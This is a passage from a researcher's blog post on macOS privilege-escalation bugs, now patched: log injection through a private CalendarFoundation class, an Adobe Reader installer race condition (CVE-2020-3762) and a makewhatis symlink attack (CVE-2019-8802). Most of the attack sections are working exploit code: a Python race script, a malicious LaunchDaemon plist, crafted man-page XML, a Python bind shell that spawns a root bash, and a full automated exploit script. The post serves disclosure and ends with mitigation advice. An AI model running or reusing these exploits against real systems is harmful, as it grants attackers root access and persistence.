            rbx = &stack[-216] - 0x70;
            rsp = rbx;
            if (IOPMGetUUID(0x3e8, rbx, 0x64) != 0x0) {
                    var_C8 = r14;
                    var_C0 = [[NSNumber numberWithInteger:[r13 numberOfInboxEntriesAffected]] retain];
                    rax = [r13 numberOfEventsAffected];
                    rax = [NSNumber numberWithInteger:rax];
                    rax = [rax retain];
                    r15 = rax;
                    var_B0 = rax;
                    var_B8 = [[NSNumber numberWithInteger:[r13 numberOfNotificationsAffected]] retain];
                    rax = [NSString stringWithUTF8String:rbx];
                    rax = [rax retain];
                    rbx = rax;
                    var_A8 = rax;
                    rax = [NSString stringWithUTF8String:&var_A0];
                    r14 = [rax retain];
                    rax = @(0x0);
                    rax = [rax retain];
                    var_28 = r15;
                    var_30 = var_C0;
                    [CalMessageTracer log:@"CalDAV account refresh completed" domain:@"com.apple.sleepservices.icalData" signature:@"CalDAV account refresh statistics" result:0x0 value:var_30 value2:var_28 value3:var_B8 uid:rbx uid2:r14 wakeState:rax];
                    [rax release];
                    rdi = r14;
                    r14 = var_C8;
                    [rdi release];
                    [var_A8 release];
                    [var_B8 release];
                    [var_B0 release];
                    [var_C0 release];
            }
    }
    if (**___stack_chk_guard != var_30) {
            __stack_chk_fail();
    }
    return;
}

This is nice and easy to read, and we can see right away that the log is generated by calling the CalMessageTracer function. This function can be found in the CalendarFoundation binary, which is here: /System/Library/PrivateFrameworks//CalendarFoundation.framework/Versions/Current/CalendarFoundation. If we check the function we can see that indeed it will use the ASL API:

But things weren’t as straightforward. If we track the CalDAV account refresh completed string / argument, we can see that it’s the first parameter of the CalMessageTracer function. Its life will be:

var_78 = [arg2 retain];
(...)
r13 = var_78;
(...)

and then we get to this huge blob:

if (r13 != 0x0) {
            if (*(int32_t *)_CalLogCurrentLevel != 0x0) {
                    rbx = [_CalLogWhiteList() retain];
                    r13 = [rbx containsObject:*_CalFoundationNS_Log_MessageTrace];
                    [rbx release];
                    COND = r13 != 0x1;
                    r13 = var_78;
                    if (!COND) {
                            CFAbsoluteTimeGetCurrent();
                            _CalLogActual(*_CalFoundationNS_Log_MessageTrace, 0x0, "+[CalMessageTracer log:domain:signature:signature2:result:value:value2:value3:uid:uid2:wakeState:summarize:]", @"%@", r13, r9, stack[-152]);
                    }
            }
            else {
                    CFAbsoluteTimeGetCurrent();
                    _CalLogActual(*_CalFoundationNS_Log_MessageTrace, 0x0, "+[CalMessageTracer log:domain:signature:signature2:result:value:value2:value3:uid:uid2:wakeState:summarize:]", @"%@", r13, r9, stack[-152]);
            }
            asl_log(0x0, r15, 0x5, "%s", [objc_retainAutorelease(r13) UTF8String]);
            r14 = var_38;
    }

So if there is a custom message, additional function calls are involved. This is the point where I stopped, and since CalMessageTracer can already do what I want (it will wrap the ASL API for me) I can use just that. I didn’t need to generate a header file, as I could find it here: macOS_headers/CalMessageTracer.h at master · w0lfschild/macOS_headers · GitHub

It wasn’t new, but it worked.

#import <Foundation/NSObject.h>
@interface CalMessageTracer : NSObject

{

}

+ (void)logError:(id)arg1 message:(id)arg2 domain:(id)arg3;
+ (void)logError:(id)arg1 message:(id)arg2 domain:(id)arg3 uid:(id)arg4;
+ (void)logException:(id)arg1 message:(id)arg2 domain:(id)arg3;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 summarize:(BOOL)arg6;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 value2:(id)arg6 uid:(id)arg7;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4 value:(id)arg5 value2:(id)arg6 value3:(id)arg7 uid:(id)arg8 uid2:(id)arg9 wakeState:(id)arg10;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 signature2:(id)arg4 summarize:(BOOL)arg5;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 summarize:(BOOL)arg4;
+ (void)log:(id)arg1 domain:(id)arg2 summarize:(BOOL)arg3;
+ (void)traceWithDomain:(id)arg1 value:(id)arg2 summarize:(BOOL)arg3;
+ (void)traceWithDomain:(id)arg1 signature:(id)arg2 summarize:(BOOL)arg3;
+ (void)traceWithDomain:(id)arg1 signature:(id)arg2 result:(int)arg3;
+ (void)traceWithDomain:(id)arg1 signature:(id)arg2 signature2:(id)arg3 summarize:(BOOL)arg4;
+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 signature2:(id)arg4 result:(int)arg5 value:(id)arg6 value2:(id)arg7 value3:(id)arg8 uid:(id)arg9 uid2:(id)arg10 wakeState:(id)arg11 summarize:(BOOL)arg12;
+ (void)messageTraceLogDomain:(id)arg1 withSignature:(id)arg2;

@end

What I left to do is create a code that will call the function in its simplest form. Did I say before that I hate the syntax of Objective-C and that I’m not an Apple developer? Patrick Wardle’s post: Reversing ‘pkgutil’ to Verify PKGs came to the rescue. I remembered that he did something similar with pkgutil and he had a step by step walkthrough how to call an external function. Using his post, I created the following code to do the trick:

#import <dlfcn.h>
#import <Foundation/Foundation.h>
#import "CalMessageTracer.h"

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSLog(@"Hello, World!");
        void* tracer = NULL;
        
        //load framework
        tracer = dlopen("/System/Library/PrivateFrameworks/CalendarFoundation.framework/Versions/Current/CalendarFoundation", RTLD_LAZY);
        
        if(NULL == tracer)
        {
            //bail
            goto bail;
        }
        
        //class
        Class CalMessageTracerCl = nil;
        
        //obtain class
        CalMessageTracerCl = NSClassFromString(@"CalMessageTracer");
        if(nil == CalMessageTracerCl)
        {
            //bail
            goto bail;
        }
        
        //+ (void)log:(id)arg1 domain:(id)arg2 signature:(id)arg3 result:(int)arg4;
        [CalMessageTracerCl log:@"your message here" domain:@"com.apple.sleepservices.icalData" signature:@"CalDAV account refresh statistics" result:0x0];
    }
    return 0;
    
bail:
    return -1;
}

This will create a log for you, and in the log parameter you can insert you custom string, thus injecting something useful to the ASL binary.

Unfortunately this is still not good enough for a direct root code execution, but you might have a use case where this might be enough, where there is some other item where this could be chained.

Also hopefully this gave you some ideas how to do some basic reverse engineering when you want to backtrace a function call, and possibly call it in your code.

This was fixed in Catalina 10.15.3, with file permissions changed:

drwxr-x—  4 root             admin                 128 Dec 21 12:42 DiagnosticMessages

Adobe Reader macOS installer - local privilege escalation (CVE-2020-3762)

This is finally a true privilege escalation scenario. It’s in the Adobe Reader’s installer, related to the Acrobat Update Helper.app component. An attacker can replace any file during the installation and the installer will copy that to a new place. Replacing the LaunchDaemon plist file with our own, we can achieve root privileges, and also persistence at the same time.

When Adobe Reader is being installed it will create the following folder structure in the /tmp/ directory which is writeable for all users:

$ ls -lR com.adobe.AcrobatRefreshManager/
total 528
drwxr-xr-x  3 root  wheel      96 Jul 31 16:30 Acrobat Update Helper.app
-rwxr-xr-x  1 root  wheel   80864 Jul 31 16:36 AcrobatUpdateHelperLib.dylib
-rwxr-xr-x  1 root  wheel  184512 Jul 31 16:36 AcrobatUpdaterUninstaller
drwxr-xr-x  3 root  wheel      96 Jul 31 16:35 Adobe Acrobat Updater.app

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app:
total 0
drwxr-xr-x  7 root  wheel  224 Jul 31 16:37 Contents

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents:
total 16
-rw-r--r--  1 root  wheel  1778 Jul 31 16:29 Info.plist
drwxr-xr-x  3 root  wheel    96 Jul 31 16:37 MacOS
-rw-r--r--  1 root  wheel     8 Jul 31 16:29 PkgInfo
drwxr-xr-x  3 root  wheel    96 Jul 31 16:37 Resources
drwxr-xr-x  3 root  wheel    96 Jul 31 16:36 _CodeSignature

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/MacOS:
total 776
-rwxr-xr-x  1 root  wheel  393600 Jul 31 16:36 Acrobat Update Helper

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/Resources:
total 8
-rw-r--r--  1 root  wheel  1720 Jul 31 16:29 FileList.txt

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/_CodeSignature:
total 8
-rw-r--r--  1 root  wheel  2518 Jul 31 16:36 CodeResources

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app:
total 0
drwxr-xr-x  6 root  wheel  192 Jul 31 16:37 Contents

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents:
total 16
-rw-r--r--  1 root  wheel  2295 Jul 31 16:35 Info.plist
drwxr-xr-x  3 root  wheel    96 Jul 31 16:35 Library
-rw-r--r--  1 root  wheel     8 Jul 31 16:35 PkgInfo
drwxr-xr-x  3 root  wheel    96 Jul 31 16:37 Resources

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library:
total 0
drwxr-xr-x  6 root  wheel  192 Jul 31 16:37 LaunchServices

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library/LaunchServices:
total 728
-rw-r--r--  1 root  wheel     474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist
-rw-r--r--  1 root  wheel     486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist
-rwxr-xr-x  1 root  wheel  176000 Jul 31 16:35 com.adobe.ARMDC.Communicator
-rwxr-xr-x  1 root  wheel  184528 Jul 31 16:35 com.adobe.ARMDC.SMJobBlessHelper

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Resources:
total 480
-rw-r--r--  1 root  wheel  244307 Jul 31 16:35 app.icns
csabyworkmac:tmp csaby$ ls -lR com.adobe.AcrobatRefreshManager/
total 528
drwxr-xr-x  3 root  wheel      96 Jul 31 16:30 Acrobat Update Helper.app
-rwxr-xr-x  1 root  wheel   80864 Jul 31 16:36 AcrobatUpdateHelperLib.dylib
-rwxr-xr-x  1 root  wheel  184512 Jul 31 16:36 AcrobatUpdaterUninstaller
drwxr-xr-x  3 root  wheel      96 Jul 31 16:35 Adobe Acrobat Updater.app

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app:
total 0
drwxr-xr-x  7 root  wheel  224 Jul 31 16:37 Contents

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents:
total 16
-rw-r--r--  1 root  wheel  1778 Jul 31 16:29 Info.plist
drwxr-xr-x  3 root  wheel    96 Jul 31 16:37 MacOS
-rw-r--r--  1 root  wheel     8 Jul 31 16:29 PkgInfo
drwxr-xr-x  3 root  wheel    96 Jul 31 16:37 Resources
drwxr-xr-x  3 root  wheel    96 Jul 31 16:36 _CodeSignature

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/MacOS:
total 776
-rwxr-xr-x  1 root  wheel  393600 Jul 31 16:36 Acrobat Update Helper

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/Resources:
total 8
-rw-r--r--  1 root  wheel  1720 Jul 31 16:29 FileList.txt

com.adobe.AcrobatRefreshManager//Acrobat Update Helper.app/Contents/_CodeSignature:
total 8
-rw-r--r--  1 root  wheel  2518 Jul 31 16:36 CodeResources

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app:
total 0
drwxr-xr-x  6 root  wheel  192 Jul 31 16:37 Contents

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents:
total 16
-rw-r--r--  1 root  wheel  2295 Jul 31 16:35 Info.plist
drwxr-xr-x  3 root  wheel    96 Jul 31 16:35 Library
-rw-r--r--  1 root  wheel     8 Jul 31 16:35 PkgInfo
drwxr-xr-x  3 root  wheel    96 Jul 31 16:37 Resources

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library:
total 0
drwxr-xr-x  6 root  wheel  192 Jul 31 16:37 LaunchServices

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Library/LaunchServices:
total 728
-rw-r--r--  1 root  wheel     474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist
-rw-r--r--  1 root  wheel     486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist
-rwxr-xr-x  1 root  wheel  176000 Jul 31 16:35 com.adobe.ARMDC.Communicator
-rwxr-xr-x  1 root  wheel  184528 Jul 31 16:35 com.adobe.ARMDC.SMJobBlessHelper

com.adobe.AcrobatRefreshManager//Adobe Acrobat Updater.app/Contents/Resources:
total 480
-rw-r--r--  1 root  wheel  244307 Jul 31 16:35 app.icns

During the installation the following files will be copied into /Library/LaunchDaemons.

-rw-r--r--  1 root  wheel     474 Jul 31 16:35 ARMNextCommunicator-Launchd.plist
-rw-r--r--  1 root  wheel     486 Jul 31 16:35 SMJobBlessHelper-Launchd.plist

With a new name:

$ ls -l /Library/LaunchDaemons/ | grep adobe
total 144
-rw-r--r--  1 root  wheel   474 Nov 11 19:20 com.adobe.ARMDC.Communicator.plist
-rw-r--r--  1 root  wheel   486 Nov 11 19:20 com.adobe.ARMDC.SMJobBlessHelper.plist

Although these files are all owned by root, and thus we can’t modify them, the location of these files is fixed, thus we can pre-create any of the folders / files. During installation the installer will verify if the folder already exists, and if so, delete it. However between the deletion and recreation there is enough time to recreate the folders with our user. It’s a race condition but in my experiments I always won it.

The first step in our exploit is to continuously try to create the following folder:

/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices

If we succeed it means that we will own the entire folder structure. At that point it’s ok if Adobe places there any files. Although the files themselves will be owned by root, we are still allowed to delete them as we own the directory. Once we delete the file, we can replace any of them with our own. My target is the plist file which will be copied to the /Library/LaunchDaemon directory. We can also easily win this race condition.

The entire exploit can be automated with a short python script:

import os
import shutil

while(1):
	try:
		os.system("mkdir -p \"/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices\"")
		if os.stat('/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist').st_uid == 0:
			os.remove("/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist")
		shutil.copy2('/Users/Shared/com.adobe.exploit.plist', '/tmp/com.adobe.AcrobatRefreshManager/Adobe Acrobat Updater.app/Contents/Library/LaunchServices/SMJobBlessHelper-Launchd.plist')
	except:
		continue

The contents of the plist file is the following:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.adobe.ARMDC.SMJobBlessHelper</string>
	<key>ProgramArguments</key>
	<array>
		<string>/bin/bash</string>
		<string>/Users/Shared/a.sh</string>
	</array>
	<key>RunAtLoad</key>
	<true/>
</dict>
</plist>

a.sh is:

touch /Library/adobe.txt

As it’s placed inside LaunchDaemons, it will run upon next boot with root privileges.

This was fixed in February 11, 2020: https://helpx.adobe.com/security/products/acrobat/apsb20-05.html

macOS periodic scripts - 320.whatis script privilege escalation to root (CVE-2019-8802)

Finally a tru privilege escalation also on macOS. This is my favorite because of the way I could affect the contents of the file.

macOS has a couple of maintenance scripts, that are scheduled to run via the periodic task daily / weekly / monthly. You can read more about them here: Why you should run maintenance scripts on macOS and how to do it Terminal commands, periodic etc - Apple Community

The scripts are scheduled by Apple LaunchDaemons, that can be found here:

csabymac:LaunchDaemons csaby$ ls -l /System/Library/LaunchDaemons/ | grep periodic
-rw-r--r--  1 root  wheel    887 Aug 18  2018 com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel    895 Aug 18  2018 com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel    891 Aug 18  2018 com.apple.periodic-weekly.plist

and these will run by the periodic_wrapper process, which runs as root, more on this process here: periodic-wrapper(8) mojave man page

For example the daily PLIST looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" " [http://www.apple.com/DTDs/PropertyList-1.0.dtd](http://www.apple.com/DTDs/PropertyList-1.0.dtd) ">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.apple.periodic-daily</string>
	<key>ProgramArguments</key>
	<array>
		<string>/usr/libexec/periodic-wrapper</string>
		<string>daily</string>
	</array>
	<key>LowPriorityIO</key>
	<true/>
	<key>Nice</key>
	<integer>1</integer>
	<key>LaunchEvents</key>
	<dict>
		<key>com.apple.xpc.activity</key>
		<dict>
			<key>com.apple.periodic-daily</key>
			<dict>
				<key>Interval</key>
				<integer>86400</integer>
				<key>GracePeriod</key>
				<integer>14400</integer>
				<key>Priority</key>
				<string>Maintenance</string>
				<key>AllowBattery</key>
				<false/>
				<key>Repeating</key>
				<true/>
			</dict>
		</dict>
	</dict>
	<key>AbandonProcessGroup</key>
	<true/>
</dict>
</plist>

There is a weekly script run by the periodic process as root (just like all the other scripts), found here: /etc/periodic/weekly/320.whatis

This script will recreate the whatis database and it will do this with root privileges as we can see through the Monitor.app. It invokes the makewhatis embedded executable to rebuild the database.

The makewhatis utility will get the man paths, where /usr/local/share/man is also included. What makes this folder special is that the normal admin user has write access to this without root privileges.

ls -l /usr/local/share/
drwxr-xr-x   22 csaby  wheel   704 Aug 15 16:26 man

If we check further we can see that we also have access to all underlying directories, which is important:

mac:man csaby$ ls -l
total 0
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 de
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 es
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 fr
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 hr
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 hu
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 it
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 ja
drwxr-xr-x   569 csaby  wheel  18208 Aug 15 16:26 man1
drwxr-xr-x  2971 csaby  admin  95072 Jun  2 20:18 man3
drwxr-xr-x    20 csaby  wheel    640 Jun  2 20:18 man5
drwxr-xr-x    32 csaby  wheel   1024 Jun  2 20:18 man7
drwxr-xr-x    22 csaby  wheel    704 Jun  2 15:38 man8
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 pl
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 pt_BR
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 pt_PT
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 ro
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 ru
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 sk
drwxr-xr-x     3 csaby  wheel     96 Apr 13  2018 zh

Since makewhatis will create a file called whatis.tmp and we can create symlinks here, we can redirect this file write to somewhere else. I will chose the folder /Library/LaunchDaemons. If we can place a specially crafted plist file here, it will be loaded by the system as root upon boot time. The same idea as with the Adobe installer.

makewhatis will create the whatis database in the following format:

FcAtomicCreate(3)        - create an FcAtomic object
FcAtomicDeleteNew(3)     - delete new file
FcAtomicDestroy(3)       - destroy an FcAtomic object
FcAtomicLock(3)          - lock a file
FcAtomicNewFile(3)       - return new temporary file name
FcAtomicOrigFile(3)      - return original file name

The first is the name on the man page derived from the file, and the second is the description taken from the NAME section of the man page. I opted to place my custom PLIST under the NAME section, like this:

.SH NAME
7z - <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!--

The <-- at the end is important as we need to comment out the rest of the database in order to get a proper PLIST file, which is in XML format.

We still need to solve 2 issues:

  1. The name derived from the filename should make sense in XML, otherwise we get a format error, and the PLIST won’t be loaded
  2. Our custom man page has to be the first to be added to the database in order to comment out the rest of the items

To solve #2 let’s be sure that we don’t have any man page starting with a number, if we have let’s rename them. I had multiple 7z man pages, so I added an a before the number to move it down.

To solve the first issue the name of our file should look like this:

<!--7z.1

This is a valid(!) filename on macOS, I took the original 7z.1 man page and renamed it:

mv 7z.1 \<\!--7z.1

We will need to close this comment, so my new NAME section looks like this:

.SH NAME
7z - --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!--

Let’s create our symlink:

ln -s /Library/LaunchDaemons/com.sample.Load.plist whatis.tmp

We can simulate the execution of the periodic script via this command:

sudo /bin/sh - /etc/periodic/weekly/320.whatis 

or

sudo periodic weekly

If we check, we got a file, and it starts like this:

<!--7z(1)                - --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!

If we load this plist file, it will try to execute the script at /Applications/Scripts/sample.sh. The location is arbitrary. I put this into the script above (be sure to give it execute permissions chmod +x /Applications/Scripts/sample.sh)

/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal

If we don’t want to reboot the computer we can simulate the load of the PLIST file with:

sudo launchctl load com.sample.Load.plist 

If we want to properly simulate this with a reboot, we can’t start a Terminal, as we won’t see it, we need to do something else. For myself I put a bind shell into that script, and after login, connecting to it I got a root shell, but it’s up to you what you put there. The script contents in this case:

#sample.sh
python /Applications/Scripts/bind.py

The python script, placed at /Applications/Scripts/bind.py

#bind.py
#!/usr/bin/python2
import os
import pty
import socket

lport = 31337

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(rem.fileno(),0)
    os.dup2(rem.fileno(),1)
    os.dup2(rem.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
	
if __name__ == "__main__":
    main()

Once logged in you can login with netcat on localhost:31337:

mac:LaunchDaemons csaby$ nc 127.1 31337
bash-3.2# id
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),702(com.apple.sharepoint.group.3),703(com.apple.sharepoint.group.2),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1)
bash-3.2# exit
exit

I made a Python script to do all the tasks mentioned above:

import sys
import os

man_file_content = """
.TH exploit 1 "August 16 2019" "Csaba Fitzl"
.SH NAME
exploit \- --> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array> <string>/Applications/Scripts/sample.sh</string></array><key>RunAtLoad</key><true/></dict></plist><!--
"""

sh_quick_content = """
/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
"""

sh_reboot_content = """
python /Applications/Scripts/bind.py
"""

python_bind_content = """
#!/usr/bin/python2
import os
import pty
import socket

lport = 31337

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(rem.fileno(),0)
    os.dup2(rem.fileno(),1)
    os.dup2(rem.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
	
if __name__ == "__main__":
    main()
"""

def create_man_file():
	print("[i] Creating bogus man page: /usr/local/share/man/man1/<!--exploit.1")	
	f = open('/usr/local/share/man/man1/<!--exploit.1','w')
	f.write(man_file_content)
	f.close()

def create_symlink():
	print("[i] Creating symlink in /usr/local/share/man/")
	os.system('ln -s /Library/LaunchDaemons/com.sample.Load.plist /usr/local/share/man/whatis.tmp')	

def create_scripts_dir():
	print("[i] Creating /Applications/Scripts directory")
	os.system('mkdir /Applications/Scripts')

def create_quick_scripts():
	create_scripts_dir()
	print("[i] Creating script file to be called by LaunchDaemon")
	f = open('/Applications/Scripts/sample.sh','w')
	f.write(sh_quick_content)
	f.close()
	os.system('chmod +x /Applications/Scripts/sample.sh')

def create_reboot_scripts():
	create_scripts_dir()
	print("[i] Creating script file to be called by LaunchDaemon")
	f = open('/Applications/Scripts/sample.sh','w')
	f.write(sh_reboot_content)
	f.close()
	os.system('chmod +x /Applications/Scripts/sample.sh')
	print("[i] Creating python script for bind shell")
	f = open('/Applications/Scripts/bind.py','w')
	f.write(python_bind_content)
	f.close()

def rename_man_pages():
	for root, dirs, files in os.walk("/usr/local/share/man"):
		for file in files:
			if file[0] in "0123456789": #if filename begins with a number
				old_file = os.path.join(root, file)
				new_file = os.path.join(root, 'a' + file)
				os.rename(old_file, new_file) #rename with adding a prefix
				print("[i] Renaming: " + os.path.join(root, file))

def main():
	if len(sys.argv) != 2 :
		print "[-] Usage: python makewhatis_exploit.py [quick|reboot]"
		sys.exit (1)
	if sys.argv[1] == 'quick':
		create_man_file()
		create_symlink()
		create_quick_scripts()
		rename_man_pages()
		print "[+] Everything is set, run periodic tasks with:\nsudo periodic weekly\n[i] and then simulate a boot load with: \nsudo launchctl load com.sample.Load.plist"
	elif sys.argv[1] == 'reboot':
		create_man_file()
		create_symlink()
		create_reboot_scripts()
		rename_man_pages()
		print "[+] Everything is set, run periodic tasks with:\nsudo periodic weekly\n[i] reboot macOS and connect to your root shell via:\nnc 127.1 31337"
	else:
		print "[-] Invalid arguments"
		print "[-] Usage: python makewhatis_exploit.py [quick|reboot]"

if __name__== "__main__":
	main()

The command line argument has to be set:

  1. quick - this will create a shell script which starts Terminal in case you don’t want to reboot the system for testing
  2. reboot - this is the proper method to fully test the exploit, it will create the bind shell in this case, and you will need to reboot to get a shell

This was fixed in Catalina 10.15.1: About the security content of macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006 - Apple Support

How to avoid these issues?

Overall the best if the directory and the file permissions are aligned. Files in a given directory should follow the ownership and rights of the directory, in the cases we saw here, it would involve that processes running as root shouldn’t touch files in directories where the owner is someone else. If you really have to do that, you should protect the file with the uchg flag, so no one, beside a root could modify it. Although there would be still a race condition as for changing the file, the flag has to be lifted up, and then someone could change it.

Installers

In case of installers using the /tmp/ directory, a randomly generated directory should be created, so someone wouldn’t have the ability to predict that name, and thus pre-create anything there for abuse. If that’s not the case a process like this could be applied:

  1. Check if folder owner is root and remove all permissions for others and group users
  2. Clean all contents under folder in before any files being copied there

In case of file moves symlinks or hard links won’t be followed, take a look at the below experiment:

$ echo aaa > a
$ ln -s a b
$ ls -la
total 8
drwxr-xr-x   4 csaby  staff   128 Sep 11 16:16 .
drwxr-xr-x+ 50 csaby  staff  1600 Sep 11 16:16 ..
-rw-r--r--   1 csaby  staff     4 Sep 11 16:16 a
lrwxr-xr-x   1 csaby  staff     1 Sep 11 16:16 b -> a
$ cat b
aaa
$ echo bbb >> b
$ cat b
aaa
bbb
$ touch c
$ ls -l
total 8
-rw-r--r--  1 csaby  staff  8 Sep 11 16:16 a
lrwxr-xr-x  1 csaby  staff  1 Sep 11 16:16 b -> a
-rw-r--r--  1 csaby  staff  0 Sep 11 16:25 c
$ mv c b
$ ls -la
total 8
drwxr-xr-x   4 csaby  staff   128 Sep 11 16:25 .
drwxr-xr-x+ 50 csaby  staff  1600 Sep 11 16:16 ..
-rw-r--r--   1 csaby  staff     8 Sep 11 16:16 a
-rw-r--r--   1 csaby  staff     0 Sep 11 16:25 b

Even if we create a hardlink instead of symlink, that will be overwritten like in the 1st case. Basically when you move a file X to location Y, if Y is a *link it will be overwritten.

For Objective-C objects, the writeToFile method will not follow symlink, so it’s safe to use. Take this example:

#include <stdio.h>
#import <Foundation/Foundation.h>

int main(void)
{
NSError *error;
BOOL succeed = [@"testing" writeToFile:@"myfile.txt" atomically:YES encoding:NSUTF8StringEncoding error:&error];
}

Even if you create a symlink named myfile.txt pointing somewhere, it will be overwritten.

The End

This has been a really long post, and I hope it gave you some ideas how to perform symlink or hardlink based attacks on macOS platforms, as well as I could serve with some ideas around impacting file contents.